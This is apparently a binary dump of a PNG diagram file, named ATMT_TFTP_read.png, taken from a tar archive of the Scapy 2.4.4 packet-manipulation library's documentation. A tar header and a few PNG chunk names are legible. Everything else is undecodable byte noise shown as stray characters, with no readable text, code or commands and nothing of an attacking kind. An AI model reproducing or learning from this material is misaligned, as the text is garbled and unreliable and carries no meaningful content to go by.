µØ÷kt_Œ$Þñ½Pq%';A­‘æ&ËÒ¸´è4]% bÁÇ“ÄÂs@„Ö…Ž vŸÀ½ <\{ öÞYïq¶Oò öe}l¡lŠÿæ³l¹Ù–M¯å.ö6Ö¡tEXttitleBEGIN->END·ÞIEND®B`‚scapy-2.4.4/doc/scapy/graphics/ATMT_TFTP_read.png000066400000000000000000000762171372370053500214510ustar00rootroot00000000000000‰PNG  IHDR\.’lv¥bKGDÿÿÿÿÿÿ X÷Ü pHYsHHFÉk>{9IDATxÚíÝuXéð/]‚ "‚¨(&"â*¶Ø­¨`çZ`wbw®µ&ÆÚÝÝ¢„ˆÒ-!HÃûûcx£¸¬ ÈÀõ|žgŸ³Ü;wæÜ¹W=¼sÞwäX6B!„"ä¥N€B!„‚D.!„B‘)ŠR'@Hq–e‘e‘eÜoz¿é#©³!ùeóÉæS2€òNåÊ;¥Î†BHA¡—ŸàÕÁ«Ã‹W@ÃE Y=“:’_ǽ{_K:£3šJ !„C.!Œgÿèi&¥Î€BȯB=¸„B!D¦PK!„Bd ¸„B!D¦PK!„Bd ¸„B!D¦PK!„Bd ¸„B!D¦PK!„Bd ¸„B!D¦PK!„Bd ¸„B!D¦PK!„BdŠ¢Ô Bþ]r²§Mû÷ç³ÿô6h ÄÎ…(''ijg…xùrÞŽÇc`ðõã/^|½¿ˆ!–+'Äþý…XªÔׯ»vMˆYYBlÑBˆ»w ±D !vëößù,X D…?Å„BdàRD¥¦ ñÀ!6l(D^ÐZXqñb!º»ýúû÷…˜”ôõës‹jjBdLˆS¦±K!¦§ ±n]! ÑÚZˆ±±_ßÇGˆ^^_?~þ¼bxø¿¿ÿM›¾Î‡BÉ+Á%¤ˆã#Ý»ÿûóqqBôõý÷ç­¬þûõ9íß/DOO!>y"D^sNNBŒâ‘#B:4oÇéÐAˆS§ q×®_u !„ün¨À%¤ˆ "¿ÄÏñ†°0!ò‚4§5k„È ÐÜìØ!Ä¿ÿâòåBÌYØæ´mÛ½/GG!®^-D!ÚÙèé#„ò¢—"NWWˆ¼•ã­“& ñÒ%!öîýõv; ±k×ÿ>޾¾…X¥Ê¿o÷ö­ûõûúñV­„8o^ÞÞï^»Vˆ|ä÷îÝ_w. !„ü¨À%¤ˆSUbn#›£G ñÁ!æ,p+Vüï×çdf&Ä[·„ؾý×Ï›˜‘·œ;'DÞs›_µj ÑÖVˆÛ·ø)$„ò›¡—bîéS!òÂógÍ+Ä^½„È'»µk'D^póßS§„ÈWUøQ|ä—O¢ãÇ%„Bò‹VQ ¤ˆûðAˆ¼€äÑÐPˆ ‘¯JŸÄ•óõ9ã»wB¬__ˆ¼pÝ·Oˆ¦¦_oÏ'­M˜P0ïSGGˆãÇ 1%å—žVB!2ŒFp )¢´µ…˜™ùc¯ç=»9{wóªvm!;–·íùªÜĉÿ¾_ö,7C†| !„ü¢\B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2…nÕKH{e)uI/ÎÏ¢µ+JKÛ u„B~*p ù Ê”?(öÉþa—ªGKUA½Ѱä¥ðsJu©3*0½ÕKª—”/°‚ZJ!„‚"DzI!¤è‘“›7ONˆ2åRÌ@çoÕ»:K!„òߨ—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆL¡—B!„È*p !„BˆLQ”:BˆtX„Ô}`´ž¸wc뉹oWÁpmFC@ÎäÜÅÇwÝí¼n×] Óó}¶Hýn!„Ë&u"„Âéøù\¤#`px…§Ááü¿þñè oŒ*ºýªJýn!„µ(ò+}H£méC@ϽËxæýuŠÖòe­*ËuëVY.õ» „B¾F.!³j6î9«fÞ·ŸØà ‰ ôD ô”:{B!äkTàBà<µVIç©yß~Tˆý¨©³&„Bþ¸„”\£r£äÀ|¹Þ)óÿh9(¹Wõaɽ@¹ÃZ­Êý@Ï.!„R¨À%„üßœ”Æ ç¤äþüŒ‰ö3&æ}„Bˆ¨À%„ü_§šæ.þ£wà>K÷û¤Î’BùoTàBþO½³R%õÎ@½#å.Õ;">n\§ä2ã:€^3u½fRgI!„ü7ºÑ!¿„Ö ­ZÉ ’$7’ÓÓÃä‘É#“G©[R·¤nÒ:¥uJë8&”žç˜<@ðÝœ‡–3w xöôìéÙPZ¤´Hi ê ê ê¨º©º©ºjújújú€Z¼Z¼Z< ÕC«‡V©ß=!„ß Ýè",mtÚè´Ñ@ôÇèÑ€:uêo”Þ(½QžÕ|VóYMàñ¨Ç£¼×x¯ñ^Ä·‹oß.ÿÇSú¨ôQé# ÚOc¶j? ¡áè‰ Íû›{jÞRç~Úœ:H³J³J³Êÿþ5ÎiœÓ8ÔRwJÝ)€åMË›–7 À|ùó€éJÓ•¦+}}}@å¦ÊM•›R„BŠ *p ‘@zZzZzt5èjÐUÀûOï?½ÿ.•½TöRYàðìóÏâÛÆ·o+¾Ní˜Ú1µc@³°faÍÂëãÖÇ­æ—Ì/™_L¼M¼M¼Ò'KŸ,}(i]Òº¤5 ^Y½²ze DõÕKTÿõïï³Ëg—Ï.@’m’m’-ß,¾Y|3 *,*,* ŠŠŠÞÔ~SûMmÀg„ÏŸÀõaׇ]Ä·ŒoßRÜŸê|Õùªó{Lì1h]¥u•ÖU›Ú6µmjåë—¯_¾> <]yºòt©?]B!R£—_Á–°‚2‚2‚2€k×"®E;6ïØ¼c3p«û­î·º‹›Û^¶½l{躷ëÞ®{úSëO­?¨]9ºr4 wVï¬ÞY@i±Òb¥ÅR¿¹_/c`ÆÀŒÀÇe—}\ømñÛâ·ðèëÑ×£/prÑÉE'·¶ÞÚzk«ø:›k6×l®C¶ Ù2d Ðò^Ë{-ï¦ö¦ö¦ö€Ü>¹}r4IŽBd¸„üŒ‰˜ˆ‰€ï;ßw¾ï€ýƒöÚ?˜Ûin§¹ÄÍ·kÜ®q;`Í ›A6€}iûÒö¥ã:ÆuŒëŠvŠvŠvR¿™â'Ó?Ó?Ó­Z5´*p÷üÝówÏ»Kï.½»4p¡æ…š¾Xbʤ)“¦Lúºöuíë T?_ý|õó€Ü¹!rC¤~7„B M2#$>Ù²ÿddü‘ñÀ軣 ${${${tèÐîV¹[ånÀÊÔÊÔÊP=£zFõŒÔÙËSSSÀ8Å8Å8è…^è1¦uLë˜Öxrìɱ'Ç€]gvÙu¨Y®f¹šåÄýtNèœpw5r8å°ðüÜósJ—€``‚̷ʰ*ÃÀ6Á6ìÚ «}Vû Ê™*g@w„îÀ|Ì—úBHqD#¸„ü‡Ðý¡ûC÷Ëœ–9-sÖÊ­•[+Ôy\çqÇÀb¶˜-f@ãê«7®¨*«*«*K5ùžôVé­Ò[÷¬ïYß³†UVùacàíÀ·_mÚŒh3¢Ú1Àu“ë&ç^@5Ãj†ej+ÕV€’’¨…¨…@ÆÐŒ¡n“néjéjü"ùÄŒ a!a!à›è›w«Ý­GÛméSÓ¿ºaò¸aㆀ³³X±< gÎJ} !¤Hc„ÿû8ùãä“s±w±w±ç¿ø16`Ý€uÖ1öîÝ»wïÞI%ùU/^¼À˜KE—Š.ÅÏ¿ïþ½û÷f,lmØÚ°µ¿îø kÖ0ÆØƒÌ™Œ16Ñ{¢7cB_Æî+Üc,®[\·üì?=====1ooooooñq??????Æ6mÚ´iÓ¦Â<ã…ëáÇ>d,+++++KêlrçëëëëëËØ–-[¶lÙ">ÆX@@@@@€øøÁƒ<Ș§§§§§gáå™–––––ÆØ‰'Nœ8!>~éÒ¥K—.16yòäÉ“'3¶`Á‚ 0øýý^»víÚµkâë—/_¾|ùrÆ¢£££££ ïý‘ânô@~oÚІ6°;zwôîh@w™î2Ýe@DùˆòåÀÝ»w;Çì³s P©R¥J•*I4ùUŒ[·2n¬õ[ë·Ö?~&ü  ¤¤ºººë“Ö'­O²jdÕȪQpÇ/áZÂlåmå`¹Õr+ȪU<,=,àô£Ó@û¨öQX;{ílÈxŸñþ¿öŸ˜˜˜˜˜tìØ±cÇŽâãjjjjjj€±±±±±±ÔŸÂ¯Ó²eË–-[™™™™™™Rg“;uuuuuu \¹råÊ}ÑJsäÈ‘#GŽ7nܸq£øx™2eÊ”)hiiiii^žW¯^½zõ*      \¼xñâÅ‹€P˜õëׯ_¿>P²dÉ’%KÍ›7oÞ¼9 ü‚ñíþöíÛ·oß>`Ê”)S¦Lllllllá3ÀÞÞÞÞÞHJJJJJ’îó!Å„Ô6!Rˆš51j"cõ‡×^8crîrîrîŒ=¼÷ðÞÃ{RgGŠªçåž—{^Ž1ƒ—/ ^2fV¬„Y Æ‚nݺ]øù<©û¤.cŒ•X~ cŒéÓÆcï_½õoÛ:tèСŒ©ªªªªª26vìØ±cÇ2öòåË—/_26þüùóç‹Û  cëׯ_¿~=c#GŽ9r$cÓ¦M›6mcïß¿ÿþ½¸Ÿ^½zõêÕ‹±þùçŸþGŒW­ZµjÕ*ñù%K–,Y²„±”””””ñx Œ-^¼xñâÅâöãÇ?~ü·WP6oÞ¼yófÆnÞ¼yóæÍoßï„ &L˜Àؤ‘“FNɘ¢¢¢¢¢"c½{÷îÝ»wÞÏó«W¯^½zÅØœ9sæÌ™#>þæÍ›7oÞ0Ö½{÷îÝ»3–œœœœœ,>?hРAƒ1æ[Ó·¦oMÆfΜ9sæLÆûóÏ?ÿüóOÆž>}úôéÓ/¾gÏŸ?þœ±E‹-Z´H|`¬zõêÕ«Wg¬Y³fÍš5cÌÉÉÉÉÉI<¼0nt"ïúõëׯ_g¬]»víÚµ·téÒ¥K—2æêêêêê*Ô¹‡ 4hЀ±.]ºtéÒE,œ÷îÝ»wï^ñ|òB–êüó<}úôéÓ§®\1Ö¿ÿþýû3–ššššš*æ‘›Y³fÍš5‹±Ê•+W®\Y,¸sâ…*?¿¹áøôéÓ§OŸÎØ®]»víÚ%ž'Ƭ¬¬¬¬¬»ÿþýû÷Ù;RÄÑ* ä·àSç†O  î˺/ë¾vößÙg`€õëÖ¬a k©³$Å…B†B†B0ó0@>uúÔéüaû‡í¶ÀuÍëš×5&Ÿš|jòé×ç#_O¾L…0G­âÞŠ{Àºuðö=M=MMM@^^^^^>ï—´…ÂW¼ãœP@ˆ?óKÉœPÐçTΩœS4ÏižÓ<\¾|ùòåËb‹€P ÁÁÁÁÁÁ€¿¿¿¿¿? ôprrrrrr€¥¥¥¥¥%ðàÁƒBá•÷ó£¾T}©úR@î¢ÜE¹‹â%ó¼â-ü} ½®À;wîܹŒ=zôèÑ€PàåË—/_¾<жmÛ¶mÛBA#âûF2áÜ/Œ<‹­ ¼¿GøE¨Q£F5¡ðFöÙgd`ÇŽ;vì„ vñõüq¡w[ü|xËGnœ######`Íš5kÖ¬„+âçË[øûüÞç Ø€’’’’’ üÂDFFFFFwïÞ½{÷nÞÏ‘MÔƒKdZ`ÿÀþýÅÂöÀ”SLì°kÀ.©³#²¢óžÎ{:ï.ª\T¹¨4MhšÐ4xióÒæ¥ÍÏï?¿`u•ÕUÀ²…e Ș™1óGö—³ðà…‰ŠŠŠŠŠÊ·Ûóç6*lTØ- €0â#ÀÉ“'Ož<)öëèèèè舯ϩT©R¥J• Ãïá½›…¬¼÷T¸”#¨bË#ß^yúöíÛ·o_±@.¬žgmmmmmío?<Ã3<„ÉbbÛyçr+p>|øða± 677777Ï0RûmAÏ Uް9 W á  ´Rˆ3ïQ®V­ZµjÕÄ_œÈï‰ \"“²f-ÌZØëÛëÛë Ú-h· ÐsIÏ%=—H‘U)))ÀVí­Ú[µ^5¼jx©Ñ©Ñ©Ñ…Ÿ«ª«*” ,ÿ´ÿ§=Àç^üúãÛv±íbÛzL¡ÕA .¹ffffff@xxxxx8 \Z÷#´‡:tèШQ£F‰“›BBBBBBÄí…žb@è]ý6¯}ÿmÚ´iÓ¦X¨W¨P¡B… bäù —ø¡Ez’¡¥AQå…g~ó)¨ÏO®¡\C¹†âH<ÿŃã#ÎB‹)Ÿ)Ÿ)/^PVVVVþbYD¡õZ/ÄΡáç±C‡:töïß¿ÿ~ñóÿûï¿ÿþûoñ{öâÅ‹/^üüy"ŸD&ò>ä}ȈY³}úôéóëŽ?Æ}Œûw@˜|$ެñhîܹsçÎGðø /ù¥ô† 6lؘ8qâĉÅV 0ؾ}ûöíÛ[[[[[[`õêÕ«W¯G¹š5kÖ¬YSœÍŸ_|^XóYýÜüñLjBO1ЩS§N:‰¯zŸÅýñ‘ÞÜðÖ¡‡V,ð~/`y«?ŽÐ;,¶6D°ÁÄ–•œ„I}À³gÏž={&þââààààà=ÝbÌ?GŽÿÂsþüùóçÏ‹­/9?a’иqãÆ¤2±°å#Ôüyò{¢=Ùb˜ò7äoÈß.x^ð¼à 8ôtèéÐSº´¶mÛ¶mÛ6ñ/`þ6'¬#)ŽT 2dÈ/nË/…8pàÀ€0yãÛã¬[·nݺubÁ0bĈ#F|»]\\\\\œ8â1iÒ¤I“&‰ÿç¶ŒONü$þnÓ¦M›6m T¬X±bÅŠ€››››› L„IIâëyï=ÿ’ã—4…YÜâÈ¿„É—!&Ñä~i[*^^^€©©)>6}lúX@qµâjÅÕ…—GfÕ̪ øFñ ¼ÙõfTé_¥¿ÔçH ü_½ÏŸ?þü9ï¯ã®rkÍ(®øò\¼¥‚·Šp¼wöãÇ?~[)Êh—È”àçÁσŸ¬«Ä*{7îݸ·ÔYÂíß^ä„en€Ù³gÏž=ûÛóìÙ³gÏžÍý’/Œ…Ù逰Œ“ØÛ˜œÿÃÆñKª¼ç—CCCCCCÅÇyä#O|Òߎã#BÆ 6lØ·ëÆÆÆÆÆÆŠ—9¾>‚ÃAà“U„å„€•+W®\¹–+’úSþ–Õv«íVÛÅŸß¾{ûîí»ÂÏCáµÂkh<¢ñð¹åsKês#%¾Ž*ÿ…3¯QX¶Kêì Þ½{÷îÝ»'®_Ë¡æ½Ä|D¼}ûöíÛ·—:[Bò†VQ 2åÃé§?œôúéõÓë¨ìVÙ­²[ê¬aù#@XÇQ|œ¤ò‘~)÷(òÏ ÎíÒ Ùå½i|dôøñãÇ'·|O·nݺuë&þÌ{ y-,#”ÿ÷Ï/5ócaýÏÜ·ç—žù4/sâ7,–ƒ/yç’м›¼›¼P_·¾n}]àÕÐWC_ ª£:ªKÕh«Ñà»ÓwçÏî«8ã«Ð$$°.10uêÔ©S§]»víÚµ«øçˆ_©©W¯^½zõ¤Î–¼¡\"S’ß%¿K~èšéšéšIˆª|d2***** ¸råÊ•+WĘ_"ä—äù¥T^àæÖ;È{è„u6=zôèÑC¼ô/5^xò ^Ðç$Ü‚TñnLû~ù$þº¢RØæ¤3@g€Î ézÒõ¤ëÒå¡î¦îÉç“ÏK}NHÑ!¬[ üõ×_ýõ—ØC+ܰn  u–„ä¸D¦XXXof¿™ýf6€ÑÑRg%.³Ägóõ3/\¸pá uëÖ­[·þ¶ÀåËíðõùlmŽÏ '…tîܹsç΀pg#±`” _w”÷úæÖCÌgUóI.¹õÔòK¦Â ÄÈ{t‹ŸS>§|NF‡–.¨Q/ TRxƒaB)z¨À%2Åì„Ù ³âÏ!CC†† ýáÝ8>RËgOó·&Mš4iÒDœ#¶ð×åäîîîîî.öÊòYâ|67ïyå- Rî„w´„;U‰ÏóÉi^^^^^^ârâ#Õ|¹&>ùçÓ§OŸ>Âò*îVÜ­¸[@x¿ð~áý€ZáµÂk…K—Ïå‘—G€…­…­Ôç†B~%*p‰LÑØ­±[c7àxÝñºãu`Ã_þÚð—ÔY‰x¡Ê[LMMMMM%J”(QB±ä#º¼÷-gË W¾Þ¢À[x̹ÊÔøò@k×®]»v­ØóÇñId¼Gá£bˆpKO±×8g¡\T¸Û¸Û¸Û¶“l'ÙNô/è_пPøy$œJ8F~ –M-›J}n!äW¢—Ȥ%ý–ô[ÒXò÷’¿—ü ¼{÷6Nê¬Äõ1yË/dsâ­ ¼W—/¿Å]»víÚµkb*ŸV®\¹råʉ‘ßAÈÏÏÏÏÏOliïIÎíVŸ¼¿/>é¬téÒ¥K—×#=vìØ±cÇr_M*¡§CO‡ž\Õ]Õ]Õ-5¶ÔØ"aSÀ‰G'@õÕ@i«ÒV?·GB)â!2lõŸ«ÿ\ý'cJ3•f*ÍdìÓãO?=–:+"«Rî¤ÜI¹ÃX¥ôJé•Ò›ª1Ucª†tùÄ÷ïϘ°Î9cŒÝ¶¾m-E­msuuuuueLX÷¹àö/´è0&,£'Å;”–0i“±Å‹/^¼X|\hubìíÛ·oß¾ýñý/[¶lÙ²eŒEFFFFFþú÷#ÜŽ1aÁ_¼_E˜üʘp»‚ß¿°Úc!MCš†4ÿ| ËMJýî¥G#¸DF±Oì0V×ÁÙÁ8>ÊlµÙj`dÃZÓjMÛ&¶Ml+uŽDV¤O=žzh«ÙV³­&`|Úø´ñi`Áûï¼/ü|XwÖú'öO€ž«z®€†ž %¸Ÿàããããã#®¿liiiiiYpûýúõëׯ‘#GŽ9RŠw(-Þƒžs*_}%·IyÅ×ËŽÿõïgúôéÓ§O<<<<<<~ýñ~áàÈ‘#GŽ)øýóeåmåmåmÅêð;ûýîh\"#ÂÃà`σ=`ìþ±û,žm»cÄòËóþ!!€aŠáTéÀ‹”)/RUUU©ß)n"Ã#Ã#Ãû-ö[ì·FËŒ–-.\¸(tQè¢Ð¥ðòɸŸq†Œ2<úzô?9?a-Šq÷3ûOOOOOO ªüâ­3åË—/_¾¼x‹U>¹ßÒwÞ‘yG掺u;ê&NÊäë)ó;îñõlù øPxï9¿uï»wïÞ½{'®ë\¿QýFõ~¯ý^û½÷Ï{àùzÒŽŽŽŽŽŽbþýúõëׯ Œ”‰ù««««««‹·’å…&¿•î™3gΜ9#Þº–pªªªªªªâ~ør]ˆ·xC•:uêÔ©SزeË–-[Äϯ'Í[vxAÈo+ŒèŠËèñ×óÖ¥Å÷Ço½ËW{á-Düüð÷+Œ§‰“B/]ºtéÒ%ñóä½øü<Ý¿ÿþýûâçÅ¿|î÷ðÕXx~¼·ÿÁƒ<oQÍ[¤ø~Þùù²Œ8p øýà7¦áùòýóUbôõõõõõsÏOQï·bÅŠ+Vžžžžžžâyâ«çðÙð÷Ï¿ß|¹Åa/‡½öpŸê>Õ}ê÷ÏÏoCê!dBò'™%3Æ;{ïì=Ƴš`51ñ"lë»­ï2ÆØõkׯ1ÆXêìÔ//Õh2M¦ÉØüÛóoÏ¿ÍoQÍØñÇo½ûd©ß#)ê.?¼üðòCñû3®ë¸®ãº2ff•‘ÄØƒ£Žf>~güÎ0ÆX%ÿJþŒ1VmWµ]Œ1ooWÇî(ǘÐ#ÎØùóçÏŸ?Ϙ0é1÷× wêclΜ9sæÌVÕ`ÌÚÚÚÚÚš±ƒ}úTl‘–+_/,‹È˜0r/^ZîŒÆ˜p‡GÆ„US~Á`ìðáÇfL(è󞯰Ž/cÂ-• HÆ._¾|ùòeÆŒ[²4dic¤UÆ„Um lñü Ë2&¬Zذê cBAʘPp2&܈G̃?߸qãÆ‹çO¸#cÂäX±µFø…F<>ÿóÅÏ?ÿüø÷ÛÐÐÐÐÐ1±¥ƒßw4‚KЏ÷kÞ¯€.]`¥ÂJÐô×ô€u¶ël “W'/Щ«S÷«4Å—óÅ?á>3134zÔèQ£G@ã:ë4®4³ifÓÌؾsûÎí;SkSkSk©Ï‘ZØÉ°“a'?ŒíøçàT\õs§âÕã³cµƒ€ Ýb¯\ûX5~l×…€Ê‘ä?+l–ìbmZ0Ñ/™n¢”ªU»ìT ô?ê¥ÿ´#T?jGêAJÑêA€ê1ÅnªÇ¾ŸOøøðñ°Bu…*¬\¼r1¸9º9ÀôZÓk€Â}…ûyøøìííííí7nܸQ¼Å4㓵´´´´´¾¿ß!C† 2D1åûç˾å¼T"þÌG>ùäM>²Ëñý5jÔ¨Q€P(ÃÛo;¼­¸N4¿E-©ËmÙ9>«§§§§§¨¸®5¿…5?ŸäÉïäÇׅΉï‡ß™ó[oó[óÛœ«p|µ¾:‹²²²²²²8Òü³ø$×”””””@(°Ä[ çleàŸ œoÏG¸ùçÇñ|yþüõùÅGV'L˜0aÂñq~™ä!ÉC’‡ˆ«´ðcþyñïÏ›ô.X°`Á‚€ð‹`eeeee%NžÍ‰ßà‡¯SÎÿœðV~Ëq>2žóÖã|DšOæÇåŸsnߧ߸¤ˆÈ°É°€«ã®Ž€ñšã5à帗ã`hÓ¡MàEÌ‹¨¾¯ú>ø¹94²ldÙÈHLMLML*,TX¨TP¬ XA8*pT 0ãÀŒ3†“ 'N’ú\‘_-Ú'Ú'ÚXµ,j½°¼óòÎ/ë¥ê”ª³y€GÉñež)]êb«1è" ;ô €Ô„ýŒÃÅ8þÅŽ·b¶ŽþÛqætc_ü».vÜv,_±|ÜX}c5ôxÔã|0ÿ`¦ýMûÆùá—Jù%VÞkÈ—u;}úôéÓ§aÄìûû+UªT©R¥ÄŸy¸páÂ… Š—ºs>ŸW9÷ÏïÔÅ/Õó[P››››››ÿ3_½„ËyC¾5_僯CÍ[)„K±ðærr|¿ÂHdîÇ+l¤3±%¤M›6mÚ´LLLLLL¾Ýžßâ—÷ò #õ€0=zôèÑ£báVPrÎ/Ÿ[<·xn!žÂH·ø‹„0B*¾Ž¯7ž³ ä…&/tsFVÅ÷Ù»wïÞ½{‹-&üûÌÿüäv+óÜÎ/ùw4ÉŒH$îmÜ[X·dÝPòRò€¶ÃÚ€);¦ì€$¶ÖÞZªëTnÅZ w(ÓPÖPÖP),RX¤µ jÔHŸ8>q4YîX5²jwÆÞ qeâÊ@pxp8 ¿9ü&”^\z±çOèÁG"ùd,>[Ÿ<ålÈ/>Y‹ÿƒÏ ÜùóçÏŸ?X²dÉ’%KÄí…žY±æ-¹qvvvvvGVù­žG=zôhqr×®>ÀGpùH1æ7`áÇÿÕød>^`òKá?‹þü<ñ·xðKý‡:tè8²)ô8‹Ÿ'¿c¡Ð›,îŸO>sqqqqqùñõ»ùä4þ½ä?óÏcŽþý9úb^¼@åw\ä-oÁáß¾*<>©í{øj¼õ€·Üð?Oüû#ô”‹W2ø/9¿g|2ùšoÆ•:"kÞ›½7€™Þ3½àí´``äÀH˜¡7C*ÉU’ðRÛJñNñNñ®;^w¼î,h¸ á‚†À=÷{î÷Ü w+Ü­p˜oôl½isCh1âî÷·VöU©ì {¹ã³ËóÛÉG0ù2asçÎ;w®Ôïæ÷ÃG0SSSSSSóþ:^Xå·5¤ ðÞÞ¬¬¬¬¬¬ïoÿzí뵯×£O>=útñ_n,¯ââââââÄÂ788888XꬤC=¸¤€¼ßø~#LvšìGýŽúÀÄ´‰i^!¼èèÿè1ŠÕºªuUëmüÚøµñÚ  Ú@q‹+ܼsóÎÍ;À–À-[ž#ñ§P=ò¯Õ#iÎ ã§9³Ü¯›å¨)(ÎR“  ÈÍNöáø¤-þqÎ^Vòkñk>i-¯Îž={öìYqò[aã“ïòzKn£ FŒ.r§åNË.ü| ÿÅ%çäËßžÔË8â*ä}È{ÆPz@iÆÄeº¦”™R†1Æ¢NG–:Ç¢#5*5*5б^4zш±õAëƒÖ1öÇ‘?ŽüqD\nŠG½¡zCõ†26xÌà1ƒÇ0¶ãÜŽs;Î1ö ÅƒZ0ò&äMÈÆ’““¥~w?.Ù7Ù7Ù—±°õaëÃÖ3æ¥ê¥ê¥Ê˜û÷;îw¡1Bc„cFFFßž'««VW­®2¶réÊ¥+—2ö8âqÄãÆR R R ~A™,“1ÆüÍüÍcl\ì¸XÆC?ôcLüS «Ëcg¢Þþ}&Š1`î\!o!j>_·}nû¨Ö¡Z‡jƒ ŠC‡(‘úÓ`{xá÷Â^œ~që:Ö€Û][Ýî4:±óF'€½f]oì5œ}k]wöýb?—à‡KÀá²//. 8Ö:íX åf»|”°¬M‹ËÚêÖJúê´|!„äŠ \’ ¶œ-€ƒ5 ÷¨Þ£ ¹]s;ØrsËM¨¤\IYê\?é§ÓO§Ÿú%ôKèDWŒ®]ó ó óBÍCÍCÍ`å`å`e ¸~pýàúÀôûÛoo ¬›k\Ú¸4p¤GV«¬V@lRlRlè˜è˜è¤ÔJ©•R `Kضë.×]®; 2Ae‚Ê@³¾f}Íú€ö^í½Ú{ýú+ôW <ŒêÕ3ª4:ht(—Z.µ\*`”b”b”N3œf8 Ðë¯×_¯?P2¦dLÉ@ÉUÉUÉUê³ûëDKº=Ð[ ^Oo (ã?&cEÞøyèóâ¸}ŸÀåÑ~½/¼Æ{â5¨»ÚðXÝÕR¿+B)z¨À%9¼\ûr-tø»Ãßð!éCÜúº_Ú×XÖ¥eв.ÀÄûœx C‚\˜ÔÉBˆô¨Àýí¥îOÝ î/¸ 6,Ø«“W'ÀèÒ£K€â'ÅO?z "½Ãûï€y1óbàùè縎0)\ï›Åžzß °=¿í¦íyÀLCg¢™pf›S™m€Þõ*z¤Î’B¤Cëàþ¶|.ú\UgUg¸°êÂ*hРƪŽU¨°•›Žn: ãj“`4)X¯ét¬x =5~Xè)Àú£úÖÿú—ÿ£?ðLÝìIë1B~cTàþ6²²`‘þ"}¨ÛºnkØ´3<[{¶“«&W¥Î•œÔJ©•àú±ëÇ erËd©s"E¹‡‚¹r`C6þzÚvr -`«üw„­2°çÐÓ{I%!„>*pe^˜i˜)ÔìZ³+lÞºy+|Ðý  Ê (¸ *leÐËu/×}ù³ñ+ãWRçD~•žgkëyxôpø¬G~=göë L¯yõíôš{€¡ìÁχBŠ:*peÖÙ7f@Ù€²Ðih§¡ð¾Äû`mš§[‘’âí¼ëyW\ip%s•“áU ˆÀÒ¦Œ¼¥ ¶{BŸ°ÝÀæCÞK6z”:ü¡G) ½KVÍô.RgI!¿¸²#°îÒºKÐt~ÓùpÖå¬ ,vXìŠ-[J*)<[Ël-ÝZv£Ïý·S¦_‰JeúAÇÆ…B¶ê²°ÿ´ó­ý' énzXRn)L!Å ­¢PìelÌØîûsl¿·ýøªúª€Y²õ\þ†’>'}% ¢DD (P:Aê܈TÒ·fuNß ô8{èD³À«ÃÑ‘¯Þ[‡…zoJŒV¶,A«kBdà[Ÿ;î *6ª^†^†û ö@…íïÎï±ßã/Öߢ¿E꜈Ԕ†ÉŸPÝÝsÚÑÝ€•©á+SÀêÆÖÖV7€Ï¾é>ûþìQ!DzTà;±ecË@åu•×€‘¥‘%x^ò¼Ú¶Ú¶RçH¤wÿáý‡Ð!³C&È9É9I)*´å+hû”»ÖÙ§ X„”öµ·Þ¹¨qk ­JæÆ´*RgI!?Ž Üb#ºIt0444€ÎÑ£àP÷CÝ@é“­WKþïŒáCè0·Ã\©s!E•¼¿œ‹¼?p@©û±J@‰F*eJ4{™çØ`ö0eöRgI!ùGn‘÷Ñû£7”YVfŒ\7rl<±ñÈÝ‘»#uޤ™ƒ9pº÷éÞ`ãkC—œÉw(Þ’ï¯x 8WÓéò¹šÀƒMÁÃl¦5¸0­ÔÙBHþÑ$³"+¡CB(_¹|eè£ÓGÖUXWÐ}¤Î‘=‰uë€æcÍÇëëÚ}µûJ)."Z~®Ñ(seE×2W€}qÝöJÖôu*)uv„ò}4‚[ä¤]L» :@;¯v^°vàÚ¨°%ÿ)dtÈW³àKž)yFêœHqcpYã‰ÁeÀ»û°æÞÝgí£}œµçÝ"o<ï&uv„ò}Tà1úi÷ÓÍXÍXعrçJ+'WNêIÑ÷6ùm2ÔšWkÈ”;(uN¤¸²:lØÐê0°­JÇ;ÛªµŽmºYëäš~5‰nB)¨E¡ÈXÚai˜£6G ¢ŸF?€¯K¼–:7R|,ðZà11°Þa½ƒÔ9‘bï8^ã8ÐÆn_r;À$¤d°I°Åº}‡-ÖR'G!ߢWr7oݼM7i þrþrP>«|–Ô¹‘â§S@'áÖÌÖ¬`PÔ (©s"²"úmRrô[@ß|ù2}sÀóÁÐÙžkÛ²rÖ´m<87wn.uNDv$F'~u‰XY]Y]êœ~Þ³gÏž={ìÙ³gÏž=Rg“›7oÞ¼y3àïïïïïŸ÷×}þüùóçÏÀ‹/^¼x!õ»ÈîUµºWLž4øœÙõ6ùÌ.©³"„*p Aú«ôWà8Çqœéu¦(”S umIùüàóƒ/VðPð:§ŸW¢D‰%JeË–-[¶¬ÔÙä߉'Nœ8„‡‡‡‡‡çýu¾¾¾¾¾¾ÀðáÇ.õ»ø¾ñu쌯¬ˆ½_gE¬ÔÙB¸…àDÖ‰,(ÕªT+h>­ù4©s"²'):éëI>žðÌ}k>B8lذaÆgÏž={ö,°|ùòåË—>|øðáàâââââôëׯ_¿~ÀåË—/_¾üíþîß¿ÿþ}`ðàÁƒ ³§OŸ>}úTÜ.55555XºtéÒ¥KÞ½{÷îÝXµjÕªU«€ôôôôôtqû¨¨¨¨¨(àùóçÏŸ?Þ¿ÿþý{`òäÉ“'Oþ6Û·oß¾}X·nݺu뀬¬¬¬¬,`ëÖ­[·n7wîܹsç ?~Öy>ãÆ7nàääääälÛ¶mÛ¶m_„1Þ8Þ8ÞpssssszõêÕ«W/ñü{zzzz~ñyñ÷÷êÕ«W¯^‹/^¼x1pîܹsçÎC† 2dˆ¸þ¹å<…¥á£†€W[£½Ú |¾”>èó¥ÂσBþ‘_$kXÖ0Æ“ÿKþ/Æ;»øìb©s"²ëÞý{÷cL«®VÝïo˘ººººº:ccÆŒ3f cŸ=>{|fÌÚÚÚÚÚš1¡ðeÌÃÃÃÃñF5jÔˆ1¡ cL(À333333cìÚµk×®]cìäÉ“'Ožd¬\¹råÊ•c,99999™1¡`fláÂ… .dìñãÇ?flêÔ©S§NelúôéÓ§Oó<~üøñãÇsvvvvvf,#####CÜoddddd¤¸=ßîÈ‘#GŽaL(t1bĈ#ÄãmذaÆ 